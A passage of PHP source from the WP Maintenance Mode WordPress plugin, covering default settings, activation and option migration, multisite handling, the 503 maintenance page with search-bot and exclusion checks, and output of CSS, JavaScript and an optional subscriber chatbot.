plugin's page categories with labels * * @return string */ public static function get_page_status_by_category( $category ) { switch ( $category ) { case self::MAINTENANCE: return __( 'Maintenance Page', 'wp-maintenance-mode' ); case self::COMING_SOON: return __( 'Coming Soon Page', 'wp-maintenance-mode' ); case self::LANDING_PAGE: return __( 'Landing Page', 'wp-maintenance-mode' ); } } /** * Return plugin default settings * * @since 2.0.0 * @return array */ public function default_settings() { return array( 'general' => array( 'status' => 0, 'status_date' => '', 'bypass_bots' => 0, 'backend_role' => array(), 'frontend_role' => array(), 'meta_robots' => 0, 'redirection' => '', 'exclude' => array( 0 => 'feed', 1 => 'wp-login', 2 => 'login', ), 'notice' => 1, 'admin_link' => 0, ), 'design' => array( 'title' => _x( 'Maintenance mode', '<title> default', 'wp-maintenance-mode' ), 'heading' => _x( 'Maintenance mode', 'heading default', 'wp-maintenance-mode' ), 'heading_color' => '', 'text' => __( '<p>Sorry for the inconvenience.<br />Our website is currently undergoing scheduled maintenance.<br />Thank you for your understanding.</p>', 'wp-maintenance-mode' ), 'text_color' => '', 'footer_links_color' => '', 'bg_type' => 'color', 'bg_color' => '', 'bg_custom' => '', 'bg_predefined' => 'bg1.jpg', 'other_custom_css' => '', 'template_category' => 'all', ), 'modules' => array( 'countdown_status' => 0, 'countdown_start' => date( 'Y-m-d H:i:s' ), 'countdown_details' => array( 'days' => 0, 'hours' => 1, 'minutes' => 0, ), 'countdown_color' => '', 'subscribe_status' => 0, 'subscribe_text' => __( 'Notify me when it\'s ready', 'wp-maintenance-mode' ), 'subscribe_text_color' => '', 'social_status' => 0, 'social_target' => 1, 'social_github' => '', 'social_dribbble' => '', 'social_twitter' => '', 'social_facebook' => '', 'social_instagram' => '', 'social_pinterest' => '', 'social_google+' => '', 'social_linkedin' => '', 'contact_status' => 0, 'contact_email' => get_option( 'admin_email' ) ? get_option( 'admin_email' ) : '', 'contact_effects' => 'move_top|move_bottom', 'ga_status' => 0, 'ga_anonymize_ip' => 0, 'ga_code' => '', ), 'bot' => array( 'status' => 0, 'name' => 'Admin', 'avatar' => '', 'messages' => array( '01' => __( 'Hey! My name is {bot_name}, I\'m the owner of this website and I\'d like to be your assistant here.', 'wp-maintenance-mode' ), '02' => __( 'I have just a few questions.', 'wp-maintenance-mode' ), '03' => __( 'What is your name?', 'wp-maintenance-mode' ), '04' => __( 'Nice to meet you here, {visitor_name}!', 'wp-maintenance-mode' ), '05' => __( 'How you can see, our website will be launched very soon.', 'wp-maintenance-mode' ), '06' => __( 'I know, you are very excited to see it, but we need a few days to finish it.', 'wp-maintenance-mode' ), '07' => __( 'Would you like to be first to see it?', 'wp-maintenance-mode' ), '08_1' => __( 'Cool! Please leave your email here and I will send you a message when it\'s ready.', 'wp-maintenance-mode' ), '08_2' => __( 'Sad to hear that, {visitor_name} :( See you next time…', 'wp-maintenance-mode' ), '09' => __( 'Got it! Thank you and see you soon here!', 'wp-maintenance-mode' ), '10' => __( 'Have a great day!', 'wp-maintenance-mode' ), ), 'responses' => array( '01' => __( 'Type your name here…', 'wp-maintenance-mode' ), '02_1' => __( 'Tell me more', 'wp-maintenance-mode' ), '02_2' => __( 'Boring', 'wp-maintenance-mode' ), '03' => __( 'Type your email here…', 'wp-maintenance-mode' ), ), ), 'gdpr' => array( 'status' => 0, 'policy_page_label' => __( 'Privacy Policy', 'wp-maintenance-mode' ), 'policy_page_link' => '', 'policy_page_target' => 0, 'contact_form_tail' => __( 'This form collects your name and email so that we can reach you back. Check out our <a href="#">Privacy Policy</a> page to fully understand how we protect and manage your submitted data.', 'wp-maintenance-mode' ), 'subscribe_form_tail' => __( 'This form collects your email so that we can add you to our newsletter list. Check out our <a href="#">Privacy Policy</a> page to fully understand how we protect and manage your submitted data.', 'wp-maintenance-mode' ), ), ); } /** * What to do when the plugin is activated * * @since 2.0.0 * @param boolean $network_wide */ public static function activate( $network_wide ) { // because we need translated items when activate :) load_plugin_textdomain( self::get_instance()->plugin_slug, false, WPMM_LANGUAGES_PATH ); // do the job if ( function_exists( 'is_multisite' ) && is_multisite() ) { if ( $network_wide ) { // Get all blog ids $blog_ids = self::get_blog_ids(); foreach ( $blog_ids as $blog_id ) { switch_to_blog( $blog_id ); self::single_activate( $network_wide ); restore_current_blog(); } } else { self::single_activate(); } } else { self::single_activate(); } update_option( 'wpmm_activated', time() ); // delete old options delete_option( 'wp-maintenance-mode' ); delete_option( 'wp-maintenance-mode-msqld' ); } /** * Check plugin version for updating process * * @since 2.0.3 */ public function check_update() { $version = get_option( 'wpmm_version', '0' ); if ( ! version_compare( $version, self::VERSION, '=' ) ) { self::activate( is_multisite() && is_plugin_active_for_network( $this->plugin_basename ) ); } } /** * What to do when the plugin is deactivated * * @since 2.0.0 * @param boolean $network_wide */ public static function deactivate( $network_wide ) { if ( function_exists( 'is_multisite' ) && is_multisite() ) { if ( $network_wide ) { // Get all blog ids $blog_ids = self::get_blog_ids(); foreach ( $blog_ids as $blog_id ) { switch_to_blog( $blog_id ); self::single_deactivate(); restore_current_blog(); } } else { self::single_deactivate(); } } else { self::single_deactivate(); } } /** * What to do when a new site is activated (multisite env) * * @since 2.0.0 * @param int|object $blog */ public function activate_new_site( $blog ) { $current_action = current_action(); if ( 1 !== did_action( $current_action ) ) { return; } $blog_id = is_object( $blog ) ? $blog->id : $blog; switch_to_blog( $blog_id ); self::single_activate(); restore_current_blog(); } /** * What to do on single activate * * @since 2.0.0 * @global object $wpdb * @param boolean $network_wide */ public static function single_activate( $network_wide = false ) { global $wpdb; // create wpmm_subscribers table $sql = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}wpmm_subscribers ( `id_subscriber` bigint(20) NOT NULL AUTO_INCREMENT, `email` varchar(50) NOT NULL, `insert_date` datetime NOT NULL, PRIMARY KEY (`id_subscriber`) ) DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; require_once ABSPATH . 'wp-admin/includes/upgrade.php'; dbDelta( $sql ); // get all options for different versions of the plugin $v2_options = get_option( 'wpmm_settings' ); $old_options = ( is_multisite() && $network_wide ) ? get_site_option( 'wp-maintenance-mode' ) : get_option( 'wp-maintenance-mode' ); $default_options = self::get_instance()->default_settings(); /** * Update from v1.8 to v2.x * * - set notice if the plugin was installed before & set default settings */ if ( ! empty( $old_options ) && empty( $v2_options ) ) { add_option( 'wpmm_notice', array( 'class' => 'updated notice', 'msg' => sprintf( /* translators: plugin settings url */ __( 'WP Maintenance Mode plugin was relaunched and you MUST revise <a href="%s">settings</a>.', 'wp-maintenance-mode' ), add_query_arg( array( 'page' => self::get_instance()->plugin_slug ), admin_url( 'admin.php' ) ) ), ) ); // import old options if ( isset( $old_options['active'] ) ) { $default_options['general']['status'] = $old_options['active']; } if ( isset( $old_options['bypass'] ) ) { $default_options['general']['bypass_bots'] = $old_options['bypass']; } if ( ! empty( $old_options['role'][0] ) ) { $default_options['general']['backend_role'] = $old_options['role'][0] === 'administrator' ? array() : $old_options['role']; } if ( ! empty( $old_options['role_frontend'][0] ) ) { $default_options['general']['frontend_role'] = $old_options['role_frontend'][0] === 'administrator' ? array() : $old_options['role_frontend']; } if ( isset( $old_options['index'] ) ) { $default_options['general']['meta_robots'] = $old_options['index']; } if ( ! empty( $old_options['rewrite'] ) ) { $default_options['general']['redirection'] = $old_options['rewrite']; } if ( ! empty( $old_options['exclude'][0] ) ) { $default_options['general']['exclude'] = array_unique( array_merge( $default_options['general']['exclude'], $old_options['exclude'] ) ); } if ( isset( $old_options['notice'] ) ) { $default_options['general']['notice'] = $old_options['notice']; } if ( isset( $old_options['admin_link'] ) ) { $default_options['general']['admin_link'] = $old_options['admin_link']; } if ( ! empty( $old_options['title'] ) ) { $default_options['design']['title'] = $old_options['title']; } if ( ! empty( $old_options['heading'] ) ) { $default_options['design']['heading'] = $old_options['heading']; } if ( ! empty( $old_options['text'] ) ) { $default_options['design']['text'] = $old_options['text']; } if ( isset( $old_options['radio'] ) ) { $default_options['modules']['countdown_status'] = $old_options['radio']; } if ( ! empty( $old_options['date'] ) ) { $default_options['modules']['countdown_start'] = $old_options['date']; } if ( isset( $old_options['time'] ) && isset( $old_options['unit'] ) ) { switch ( $old_options['unit'] ) { case 0: // seconds $default_options['modules']['countdown_details'] = array( 'days' => 0, 'hours' => 0, 'minutes' => floor( $old_options['time'] / 60 ), ); break; case 1: // minutes $default_options['modules']['countdown_details'] = array( 'days' => 0, 'hours' => 0, 'minutes' => $old_options['time'], ); break; case 2: // hours $default_options['modules']['countdown_details'] = array( 'days' => 0, 'hours' => $old_options['time'], 'minutes' => 0, ); break; case 3: // days $default_options['modules']['countdown_details'] = array( 'days' => $old_options['time'], 'hours' => 0, 'minutes' => 0, ); break; case 4: // weeks $default_options['modules']['countdown_details'] = array( 'days' => $old_options['time'] * 7, 'hours' => 0, 'minutes' => 0, ); break; case 5: // months $default_options['modules']['countdown_details'] = array( 'days' => $old_options['time'] * 30, 'hours' => 0, 'minutes' => 0, ); break; case 6: // years $default_options['modules']['countdown_details'] = array( 'days' => $old_options['time'] * 365, 'hours' => 0, 'minutes' => 0, ); break; default: break; } } } /** * Set options on first activation */ if ( empty( $v2_options ) ) { $v2_options = $default_options; // set options add_option( 'wpmm_settings', $v2_options ); } $should_update = false; /** * Update from <= v2.0.6 to v2.0.7 */ if ( ! empty( $v2_options['modules']['ga_code'] ) ) { $v2_options['modules']['ga_code'] = wpmm_sanitize_ga_code( $v2_options['modules']['ga_code'] ); // update options update_option( 'wpmm_settings', $v2_options ); } /** * Update from <= v2.09 to v^2.1.2 */ if ( empty( $v2_options['bot'] ) ) { $v2_options['bot'] = $default_options['bot']; // update options update_option( 'wpmm_settings', $v2_options ); } /** * Update from <= v2.1.2 to 2.1.5 */ if ( empty( $v2_options['gdpr'] ) ) { $v2_options['gdpr'] = $default_options['gdpr']; // update options update_option( 'wpmm_settings', $v2_options ); } /** * Update from <= v2.2.1 to 2.2.2 */ if ( empty( $v2_options['modules']['ga_anonymize_ip'] ) ) { $v2_options['modules']['ga_anonymize_ip'] = $default_options['modules']['ga_anonymize_ip']; // update options update_option( 'wpmm_settings', $v2_options ); } if ( empty( $v2_options['gdpr']['policy_page_target'] ) ) { $v2_options['gdpr']['policy_page_target'] = $default_options['gdpr']['policy_page_target']; // update options update_option( 'wpmm_settings', $v2_options ); } /** * Update from <= v2.3.0 to 2.4.0 */ if ( empty( $v2_options['design']['other_custom_css'] ) ) { $v2_options['design']['other_custom_css'] = $default_options['design']['other_custom_css']; // update options update_option( 'wpmm_settings', $v2_options ); } if ( empty( $v2_options['design']['footer_links_color'] ) ) { $v2_options['design']['footer_links_color'] = $default_options['design']['footer_links_color']; // update options update_option( 'wpmm_settings', $v2_options ); } // set current version update_option( 'wpmm_version', self::VERSION ); } /** * What to do on single deactivate * * @since 2.0.0 */ public static function single_deactivate() { wpmm_delete_cache(); } /** * Get all blog ids of blogs in the current network * * @since 2.0.0 * @return array / false */ private static function get_blog_ids() { global $wpdb; return $wpdb->get_col( $wpdb->prepare( "SELECT blog_id FROM {$wpdb->blogs} WHERE archived = %d AND spam = %d AND deleted = %d", array( 0, 0, 0 ) ) ); } /** * Load languages files * * @since 2.0.0 */ public function load_plugin_textdomain() { $domain = $this->plugin_slug; $locale = apply_filters( 'plugin_locale', get_locale(), $domain ); load_textdomain( $domain, trailingslashit( WP_LANG_DIR ) . $domain . '/' . $domain . '-' . $locale . '.mo' ); load_plugin_textdomain( $domain, false, WPMM_LANGUAGES_PATH ); } /** * Initialize when plugin is activated * * @since 2.0.0 */ public function init() { /** * CHECKS */ if ( ( ! $this->check_user_role() ) && ! strstr( $_SERVER['PHP_SELF'], 'wp-cron.php' ) && ! strstr( $_SERVER['PHP_SELF'], 'wp-login.php' ) && // wp-admin/ is available to everyone only if the user is not loggedin, otherwise.. check_user_role decides ! ( strstr( $_SERVER['PHP_SELF'], 'wp-admin/' ) && ! is_user_logged_in() ) && ! strstr( $_SERVER['PHP_SELF'], 'wp-admin/admin-ajax.php' ) && ! strstr( $_SERVER['PHP_SELF'], 'async-upload.php' ) && ! ( strstr( $_SERVER['PHP_SELF'], 'upgrade.php' ) && $this->check_user_role() ) && ! strstr( $_SERVER['PHP_SELF'], '/plugins/' ) && ! strstr( $_SERVER['PHP_SELF'], '/xmlrpc.php' ) && ! $this->check_exclude() && ! $this->check_search_bots() && ! ( defined( 'WP_CLI' ) && WP_CLI ) ) { if ( isset( $this->plugin_settings['design']['page_id'] ) && get_option( 'wpmm_new_look' ) ) { define( 'IS_MAINTENANCE', true ); include_once wpmm_get_template_path( 'maintenance.php', true ); return; } // HEADER STUFF $protocol = ! empty( $_SERVER['SERVER_PROTOCOL'] ) && in_array( $_SERVER['SERVER_PROTOCOL'], array( 'HTTP/1.1', 'HTTP/1.0' ), true ) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'; $charset = get_bloginfo( 'charset' ) ? get_bloginfo( 'charset' ) : 'UTF-8'; $status_code = (int) apply_filters( 'wp_maintenance_mode_status_code', 503 ); // this hook will be removed in the next versions $status_code = (int) apply_filters( 'wpmm_status_code', $status_code ); $backtime_seconds = $this->calculate_backtime(); $backtime = (int) apply_filters( 'wpmm_backtime', $backtime_seconds ); // META STUFF $title = ! empty( $this->plugin_settings['design']['title'] ) ? $this->plugin_settings['design']['title'] : get_bloginfo( 'name' ) . ' - ' . __( 'Maintenance Mode', 'wp-maintenance-mode' ); $title = apply_filters( 'wm_title', $title ); // this hook will be removed in the next versions $title = apply_filters( 'wpmm_meta_title', $title ); $robots = $this->plugin_settings['general']['meta_robots'] === 1 ? 'noindex, nofollow' : 'index, follow'; $robots = apply_filters( 'wpmm_meta_robots', $robots ); $author = apply_filters( 'wm_meta_author', get_bloginfo( 'name' ) ); // this hook will be removed in the next versions $author = apply_filters( 'wpmm_meta_author', $author ); $description = get_bloginfo( 'name' ) . ' - ' . get_bloginfo( 'description' ); $description = apply_filters( 'wm_meta_description', $description ); // this hook will be removed in the next versions $description = apply_filters( 'wpmm_meta_description', $description ); $keywords = _x( 'Maintenance Mode', '<meta> keywords default', 'wp-maintenance-mode' ); $keywords = apply_filters( 'wm_meta_keywords', $keywords ); // this hook will be removed in the next versions $keywords = apply_filters( 'wpmm_meta_keywords', $keywords ); // CSS STUFF $body_classes = ! empty( $this->plugin_settings['design']['bg_type'] ) && $this->plugin_settings['design']['bg_type'] !== 'color' ? 'background' : ''; if ( ! empty( $this->plugin_settings['bot']['status'] ) && $this->plugin_settings['bot']['status'] === 1 ) { $body_classes .= ' bot'; } // CONTENT $heading = ! empty( $this->plugin_settings['design']['heading'] ) ? $this->plugin_settings['design']['heading'] : ''; $heading = apply_filters( 'wm_heading', $heading ); // this hook will be removed in the next versions $heading = apply_filters( 'wpmm_heading', $heading ); $text = ! empty( $this->plugin_settings['design']['text'] ) ? wp_kses_post( $this->plugin_settings['design']['text'] ) : ''; $text = apply_filters( 'wpmm_text', wpmm_do_shortcode( $text ) ); // COUNTDOWN $countdown_start = ! empty( $this->plugin_settings['modules']['countdown_start'] ) ? $this->plugin_settings['modules']['countdown_start'] : $this->plugin_settings['general']['status_date']; $countdown_end = strtotime( $countdown_start . ' +' . $backtime_seconds . ' seconds' ); wpmm_set_nocache_constants(); nocache_headers(); ob_start(); header( "Content-type: text/html; charset=$charset" ); header( "$protocol $status_code Service Unavailable", true, $status_code ); header( "Retry-After: $backtime" ); // load maintenance mode template include_once wpmm_get_template_path( 'maintenance.php', true ); ob_flush(); } } /** * Extra variables for the bot functionality. Added to the DOM via hooks. * It has to be called before scripts are loaded so the variables are available globally. * * @todo Maybe we can find a better home for this method * @since 2.1.1 */ public function add_bot_extras() { if ( empty( $this->plugin_settings['bot']['status'] ) || $this->plugin_settings['bot']['status'] !== 1 ) { return; } $upload_dir = wp_upload_dir(); $bot_vars = array( 'validationName' => __( 'Please type in your name.', 'wp-maintenance-mode' ), 'validationEmail' => __( 'Please type in a valid email address.', 'wp-maintenance-mode' ), 'uploadsBaseUrl' => trailingslashit( $upload_dir['baseurl'] ), 'typeName' => ! empty( $this->plugin_settings['bot']['responses']['01'] ) ? $this->plugin_settings['bot']['responses']['01'] : __( 'Type your name here…', 'wp-maintenance-mode' ), 'typeEmail' => ! empty( $this->plugin_settings['bot']['responses']['03'] ) ? $this->plugin_settings['bot']['responses']['03'] : __( 'Type your email here…', 'wp-maintenance-mode' ), 'send' => __( 'Send', 'wp-maintenance-mode' ), 'wpnonce' => wp_create_nonce( 'wpmts_nonce_subscribe' ), ); echo "<script type='text/javascript'>" . 'var botVars = ' . wp_json_encode( $bot_vars ) . '</script>'; } /** * Check if the current user has access to backend / frontend based on his role compared with role from settings (refactor @ 2.0.4) * * @since 2.0.0 * @return boolean */ public function check_user_role() { // check super admin (when multisite is activated) / check admin (when multisite is not activated) if ( is_super_admin() ) { return true; } $user = wp_get_current_user(); $user_roles = ! empty( $user->roles ) && is_array( $user->roles ) ? $user->roles : array(); $allowed_roles = is_admin() ? (array) $this->plugin_settings['general']['backend_role'] : (array) $this->plugin_settings['general']['frontend_role']; // add `administrator` role when multisite is activated and the admin of a blog is trying to access his blog if ( is_multisite() ) { array_push( $allowed_roles, 'administrator' ); } $is_allowed = (bool) array_intersect( $user_roles, $allowed_roles ); return $is_allowed; } /** * Calculate backtime based on countdown remaining time if it is activated * * @since 2.0.0 * @return int */ public function calculate_backtime() { $backtime = 3600; if ( ! empty( $this->plugin_settings['modules']['countdown_status'] ) && $this->plugin_settings['modules']['countdown_status'] === 1 ) { $backtime = ( $this->plugin_settings['modules']['countdown_details']['days'] * DAY_IN_SECONDS ) + ( $this->plugin_settings['modules']['countdown_details']['hours'] * HOUR_IN_SECONDS ) + ( $this->plugin_settings['modules']['countdown_details']['minutes'] * MINUTE_IN_SECONDS ); } return $backtime; } /** * Check if the visitor is a bot (using useragent) * * @since 2.0.0 * @return boolean */ public function check_search_bots() { $is_search_bot = false; if ( ! empty( $this->plugin_settings['general']['bypass_bots'] ) && $this->plugin_settings['general']['bypass_bots'] === 1 && isset( $_SERVER['HTTP_USER_AGENT'] ) ) { $bots = apply_filters( 'wpmm_search_bots', array( 'Abacho' => 'AbachoBOT', 'Accoona' => 'Acoon', 'AcoiRobot' => 'AcoiRobot', 'Adidxbot' => 'adidxbot', 'AltaVista robot' => 'Altavista', 'Altavista robot' => 'Scooter', 'ASPSeek' => 'ASPSeek', 'Atomz' => 'Atomz', 'Bing' => 'bingbot', 'BingPreview' => 'BingPreview', 'CrocCrawler' => 'CrocCrawler', 'Dumbot' => 'Dumbot', 'eStyle Bot' => 'eStyle', 'FAST-WebCrawler' => 'FAST-WebCrawler', 'GeonaBot' => 'GeonaBot', 'Gigabot' => 'Gigabot', 'Google' => 'Googlebot', 'ID-Search Bot' => 'IDBot', 'Lycos spider' => 'Lycos', 'MSN' => 'msnbot', 'MSRBOT' => 'MSRBOT', 'Rambler' => 'Rambler', 'Scrubby robot' => 'Scrubby', 'Yahoo' => 'Yahoo', ) ); $is_search_bot = (bool) preg_match( '~(' . implode( '|', array_values( $bots ) ) . ')~i', $_SERVER['HTTP_USER_AGENT'] ); } return $is_search_bot; } /** * Sanitize IP adress. * * @param string $ip Ip string. * * @return array|string|string[]|null */ public static function sanitize_ip( $ip ) { return preg_replace( '/[^0-9a-fA-F:., ]/', '', $ip ); } /** * Check if slug / ip address exists in exclude list * * @since 2.0.0 * @return boolean */ public function check_exclude() { $is_excluded = false; $excluded_list = array(); if ( ! empty( $this->plugin_settings['general']['exclude'] ) && is_array( $this->plugin_settings['general']['exclude'] ) ) { $excluded_list = $this->plugin_settings['general']['exclude']; $remote_address = isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : ''; $remote_address = self::sanitize_ip( $remote_address ); $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? rawurldecode( $_SERVER['REQUEST_URI'] ) : ''; $request_uri = wp_sanitize_redirect( $request_uri ); foreach ( $excluded_list as $item ) { if ( false !== strpos( $item, '#' ) ) { $item = trim( substr( $item, 0, strpos( $item, '#' ) ) ); } if ( empty( $item ) ) { // just to be sure :-) continue; } if ( strstr( $remote_address, $item ) || strstr( $request_uri, $item ) ) { $is_excluded = true; break; } } } $is_excluded = apply_filters( 'wpmm_is_excluded', $is_excluded, $excluded_list ); return $is_excluded; } /** * Redirect if "Redirection" option is used and users don't have access to WordPress dashboard * * @since 2.0.0 * @return null */ public function redirect() { // we do not redirect if there's nothing saved in "redirect" input if ( empty( $this->plugin_settings['general']['redirection'] ) ) { return null; } // we do not redirect ajax calls if ( ( defined( 'DOING_AJAX' ) && DOING_AJAX ) ) { return null; } // we do not redirect visitors or logged-in users that are not using /wp-admin/ if ( ! is_user_logged_in() || ! is_admin() ) { return null; } // we do not redirect users that have access to backend if ( $this->check_user_role() ) { return null; } $redirect_to = esc_url_raw( $this->plugin_settings['general']['redirection'] ); wp_redirect( $redirect_to ); // phpcs:ignore WordPress.Security.SafeRedirect.wp_redirect_wp_redirect exit; } /** * Google Analytics code * * @since 2.0.7 */ public function add_google_analytics_code() { // check if module is activated and code exists if ( empty( $this->plugin_settings['modules']['ga_status'] ) || $this->plugin_settings['modules']['ga_status'] !== 1 || empty( $this->plugin_settings['modules']['ga_code'] ) ) { return false; } // sanitize code $ga_code = wpmm_sanitize_ga_code( $this->plugin_settings['modules']['ga_code'] ); if ( empty( $ga_code ) ) { return false; } // set options $ga_options = array(); if ( ! empty( $this->plugin_settings['modules']['ga_anonymize_ip'] ) && $this->plugin_settings['modules']['ga_anonymize_ip'] === 1 ) { $ga_options['anonymize_ip'] = true; } $ga_options = (object) $ga_options; // show google analytics javascript snippet include_once wpmm_get_template_path( 'google-analytics.php' ); } /** * Add CSS files * * @since 2.4.0 */ public function add_css_files() { $styles = array(); if ( ! get_option( 'wpmm_new_look' ) || ! ( isset( $this->plugin_settings['design']['page_id'] ) ) ) { $styles = array( 'frontend' => WPMM_CSS_URL . 'style' . WPMM_ASSETS_SUFFIX . '.css?ver=' . self::VERSION, ); } if ( ! empty( $this->plugin_settings['bot']['status'] ) && $this->plugin_settings['bot']['status'] === 1 ) { $styles['bot'] = WPMM_CSS_URL . 'style.bot' . WPMM_ASSETS_SUFFIX . '.css?ver=' . self::VERSION; } foreach ( apply_filters( 'wpmm_styles', $styles ) as $handle => $href ) { printf( "<link rel=\"stylesheet\" id=\"%s-css\" href=\"%s\" media=\"all\">\n", esc_attr( $handle ), esc_url( $href ) ); } } /** * Adds the maintenance page template to the templates dropdown * * @param $templates * @return mixed */ public function add_maintenance_template( $templates ) { return array_merge( $templates, array( 'templates/wpmm-page-template.php' => html_entity_decode( '↔ ' ) . __( 'LightStart template', 'wp-maintenance-mode' ), ) ); } /** * Applies the maintenance page template to the page * * @param $template * @return mixed|string */ public function use_maintenance_template( $template ) { global $post; if ( empty( $post ) ) { return $template; } $current_template = get_post_meta( $post->ID, '_wp_page_template', true ); if ( empty( $current_template ) ) { return $template; } if ( 'templates/wpmm-page-template.php' !== $current_template ) { return $template; } $file = WPMM_VIEWS_PATH . 'wpmm-page-template.php'; if ( file_exists( $file ) ) { return $file; } return $template; } /** * Calls `wp_head()` and remembers all the stylesheets rendered in the * `style_buffer` variable. * This is a fix for block themes. * * @return void */ public function remember_style_fse() { ob_start(); wp_head(); $output = ob_get_contents(); ob_end_clean(); echo $output; $doc = new DOMDocument(); $doc->loadHTML( '<html>' . $output . '</html>' ); $this->style_buffer = $doc->getElementsByTagName( 'style' ); } /** * Calls `wp_head()` at the end of file so that the missing stylesheets from the header * are added. Checks the `style_buffer` variable to not have duplicated styles. * This is a fix for block themes. * * @return void */ public function add_style_fse() { ob_start(); wp_head(); $output = ob_get_contents(); ob_end_clean(); $doc = new DOMDocument(); $doc->loadHTML( '<html>' . $output . '</html>' ); $elems = $doc->getElementsByTagName( 'style' ); $css = ''; $common_positions = array(); foreach ( $elems as $i => $elem ) { foreach ( $this->style_buffer as $style ) { if ( $elems->item( $i )->C14N() == $style->C14N() ) { $common_positions[] = $i; }; } } foreach ( $elems as $i => $elem ) { if ( in_array( $i, $common_positions ) ) { continue; } $css .= $elems->item( $i )->C14N(); } echo $css; } /** * Add inline CSS style * * @since 2.4.0 */ public function add_inline_css_style() { $css_rules = array(); // "Manage Bot > Upload avatar" url if ( ! empty( $this->plugin_settings['bot']['avatar'] ) ) { $css_rules['bot.avatar'] = sprintf( '.bot-avatar { background-image: url("%s"); }', esc_url( $this->plugin_settings['bot']['avatar'] ) ); } else { $css_rules['bot.avatar'] = sprintf( '.bot-avatar { background-image: url("%s"); }', esc_url( WPMM_IMAGES_URL . 'chatbot.png' ) ); } // style below is not necessary in the new look if ( get_option( 'wpmm_new_look' ) && isset( $this->plugin_settings['design']['page_id'] ) ) { if ( empty( $css_rules ) ) { return; } printf( "<style type=\"text/css\">\n%s\n</style>\n", wp_strip_all_tags( implode( "\n", $css_rules ) ) ); return; } // "Design > Content > Heading" color if ( ! empty( $this->plugin_settings['design']['heading_color'] ) ) { $css_rules['design.heading_color'] = sprintf( '.wrap h1 { color: %s; }', sanitize_hex_color( $this->plugin_settings['design']['heading_color'] ) ); } // "Design > Content > Text" color if ( ! empty( $this->plugin_settings['design']['text_color'] ) ) { $css_rules['design.text_color'] = sprintf( '.wrap h2 { color: %s; }', sanitize_hex_color( $this->plugin_settings['design']['text_color'] ) ); } // "Design > Content > Footer links" color if ( ! empty( $this->plugin_settings['design']['footer_links_color'] ) ) { $css_rules['design.footer_links_color'] = sprintf( '.wrap .footer_links a, .wrap .author_link a { color: %s; }', sanitize_hex_color( $this->plugin_settings['design']['footer_links_color'] ) ); } // "Design > Background" color if ( $this->plugin_settings['design']['bg_type'] === 'color' && ! empty( $this->plugin_settings['design']['bg_color'] ) ) { $css_rules['design.bg_color'] = sprintf( 'body { background-color: %s; }', sanitize_hex_color( $this->plugin_settings['design']['bg_color'] ) ); } // "Design > Background" custom background url if ( $this->plugin_settings['design']['bg_type'] === 'custom' && ! empty( $this->plugin_settings['design']['bg_custom'] ) ) { $css_rules['design.bg_custom'] = sprintf( '.background { background: url("%s") no-repeat center top fixed; background-size: cover; }', esc_url( $this->plugin_settings['design']['bg_custom'] ) ); } // "Design > Background" predefined background url if ( $this->plugin_settings['design']['bg_type'] === 'predefined' && ! empty( $this->plugin_settings['design']['bg_predefined'] ) && in_array( $this->plugin_settings['design']['bg_predefined'], wp_list_pluck( wpmm_get_backgrounds(), 'big' ), true ) ) { $css_rules['design.bg_predefined'] = sprintf( '.background { background: url("%s") no-repeat center top fixed; background-size: cover; }', esc_url( WPMM_URL . 'assets/images/backgrounds/' . $this->plugin_settings['design']['bg_predefined'] ) ); } // "Modules > Countdown" color if ( ! empty( $this->plugin_settings['modules']['countdown_color'] ) ) { $css_rules['modules.countdown_color'] = sprintf( '.wrap .countdown span { color: %s; }', sanitize_hex_color( $this->plugin_settings['modules']['countdown_color'] ) ); } // "Modules > Subscribe > Text" color if ( ! empty( $this->plugin_settings['modules']['subscribe_text_color'] ) ) { $css_rules['modules.subscribe_text_color'] = sprintf( '.wrap h3, .wrap .subscribe_wrapper { color: %s; }', sanitize_hex_color( $this->plugin_settings['modules']['subscribe_text_color'] ) ); } // "Design > Other > Custom CSS" if ( ! empty( $this->plugin_settings['design']['other_custom_css'] ) ) { $css_rules['design.other_custom_css'] = sanitize_textarea_field( $this->plugin_settings['design']['other_custom_css'] ); } if ( empty( $css_rules ) ) { return; } printf( "<style type=\"text/css\">\n%s\n</style>\n", wp_strip_all_tags( implode( "\n", $css_rules ) ) ); } /** * Add Javascript files * * @since 2.4.0 */ public function add_js_files() { $scripts = array( 'jquery' => site_url( '/wp-includes/js/jquery/jquery' . WPMM_ASSETS_SUFFIX . '.js' ), 'fitvids' => WPMM_JS_URL . 'jquery.fitvids' . WPMM_ASSETS_SUFFIX . '.js', 'frontend' => WPMM_JS_URL . 'scripts' . WPMM_ASSETS_SUFFIX . '.js?ver=' . self::VERSION, ); if ( ! get_option( 'wpmm_new_look' ) || ! ( isset( $this->plugin_settings['design']['page_id'] ) ) ) { if ( ! empty( $this->plugin_settings['modules']['countdown_status'] ) && $this->plugin_settings['modules']['countdown_status'] === 1 ) { $scripts['countdown-dependency'] = WPMM_JS_URL . 'jquery.plugin' . WPMM_ASSETS_SUFFIX . '.js'; $scripts['countdown'] = WPMM_JS_URL . 'jquery.countdown' . WPMM_ASSETS_SUFFIX . '.js'; } if ( ( ! empty( $this->plugin_settings['modules']['contact_status'] ) && $this->plugin_settings['modules']['contact_status'] === 1 ) || ( ! empty( $this->plugin_settings['modules']['subscribe_status'] ) && $this->plugin_settings['modules']['subscribe_status'] === 1 ) ) { $scripts['validate'] = WPMM_JS_URL . 'jquery.validate' . WPMM_ASSETS_SUFFIX . '.js'; } } if ( ! empty( $this->plugin_settings['bot']['status'] ) && $this->plugin_settings['bot']['status'] === 1 ) { $scripts['validate'] = WPMM_JS_URL . 'jquery.validate' . WPMM_ASSETS_SUFFIX . '.js'; } if ( ! empty( $this->plugin_settings['bot']['status'] ) && $this->plugin_settings['bot']['status'] === 1 ) { if ( WPMM_ASSETS_SUFFIX === '' ) { $scripts['bot-async'] = WPMM_JS_URL . 'bot.async.js'; } $scripts['bot'] = WPMM_JS_URL . 'bot' . WPMM_ASSETS_SUFFIX . '.js?ver=' . self::VERSION; } if ( ! did_action( 'wpmm_before_scripts' ) ) { do_action( 'wpmm_before_scripts' ); } foreach ( apply_filters( 'wpmm_scripts', $scripts ) as $handle => $src ) { printf( "<script type=\"text/javascript\" src=\"%s\" id=\"%s-js\"></script>\n", esc_url( $src ), esc_attr( $handle ) ); } } /** * Save subscriber into database (refactor @ 2.0.4) * * @since 2.0.0 * @global object $wpdb * @throws Exception */ public function add_subscriber() { 